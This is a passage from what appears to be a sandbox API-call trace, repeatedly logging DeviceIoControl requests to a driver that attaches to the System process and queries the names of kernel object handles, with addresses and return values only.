ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.315] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0119.315] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.315] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.315] PsAcquireProcessExitSynchronization () returned 0x0 [0119.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.315] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0119.315] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.315] PsReleaseProcessExitSynchronization () returned 0x2 [0119.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.316] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.316] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0119.316] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.316] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.316] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.316] PsAcquireProcessExitSynchronization () returned 0x0 [0119.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.316] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0119.316] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.316] PsReleaseProcessExitSynchronization () returned 0x2 [0119.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.316] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.316] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0119.316] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.316] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.316] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0119.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.316] PsAcquireProcessExitSynchronization () returned 0x0 [0119.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.316] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0119.316] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.316] PsReleaseProcessExitSynchronization () returned 0x2 [0119.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.317] ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.317] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0119.317] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0119.317] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.317] PsAcquireProcessExitSynchronization () returned 0x0 [0119.317] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.317] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0119.317] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.317] PsReleaseProcessExitSynchronization () returned 0x2 [0119.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.317] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.317] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0119.317] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0119.317] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.317] PsAcquireProcessExitSynchronization () returned 0x0 [0119.317] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.317] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0119.317] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.317] PsReleaseProcessExitSynchronization () returned 0x2 [0119.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.317] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.317] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0119.317] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0119.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.318] PsAcquireProcessExitSynchronization () returned 0x0 [0119.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.318] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0119.318] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.318] PsReleaseProcessExitSynchronization () returned 0x2 [0119.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.318] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.318] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0119.318] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.318] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.318] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.318] PsAcquireProcessExitSynchronization () returned 0x0 [0119.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.318] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0119.318] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.318] PsReleaseProcessExitSynchronization () returned 0x2 [0119.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.318] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.318] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0119.318] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.318] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.318] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.318] PsAcquireProcessExitSynchronization () returned 0x0 [0119.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.318] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0119.319] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.319] PsReleaseProcessExitSynchronization () returned 0x2 [0119.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.319] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.319] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0119.319] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.319] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.319] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.319] PsAcquireProcessExitSynchronization () returned 0x0 [0119.319] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.319] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0119.319] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.319] PsReleaseProcessExitSynchronization () returned 0x2 [0119.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.319] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.319] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0119.319] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.319] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.319] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.319] PsAcquireProcessExitSynchronization () returned 0x0 [0119.319] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.319] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0119.319] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.319] PsReleaseProcessExitSynchronization () returned 0x2 [0119.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.319] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.319] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0119.319] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.319] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.320] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0119.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.320] PsAcquireProcessExitSynchronization () returned 0x0 [0119.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.320] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 [0119.320] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.320] PsReleaseProcessExitSynchronization () returned 0x2 [0119.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.320] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002108044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.320] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0119.320] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.320] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.320] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.320] PsAcquireProcessExitSynchronization () returned 0x0 [0119.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.320] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0119.320] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.320] PsReleaseProcessExitSynchronization () returned 0x2 [0119.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.320] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002109044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002109044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.320] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0119.320] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.320] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.320] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.320] PsAcquireProcessExitSynchronization () returned 0x0 [0119.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.320] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0119.321] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.321] PsReleaseProcessExitSynchronization () returned 0x2 [0119.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.321] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800210d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800210d044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.321] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0119.321] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.321] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.321] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.321] PsAcquireProcessExitSynchronization () returned 0x0 [0119.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.321] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0119.321] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.321] PsReleaseProcessExitSynchronization () returned 0x2 [0119.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.321] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.321] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0119.321] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.321] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.321] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.321] PsAcquireProcessExitSynchronization () returned 0x0 [0119.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.321] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0119.321] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.321] PsReleaseProcessExitSynchronization () returned 0x2 [0119.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.321] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.321] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0119.321] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, 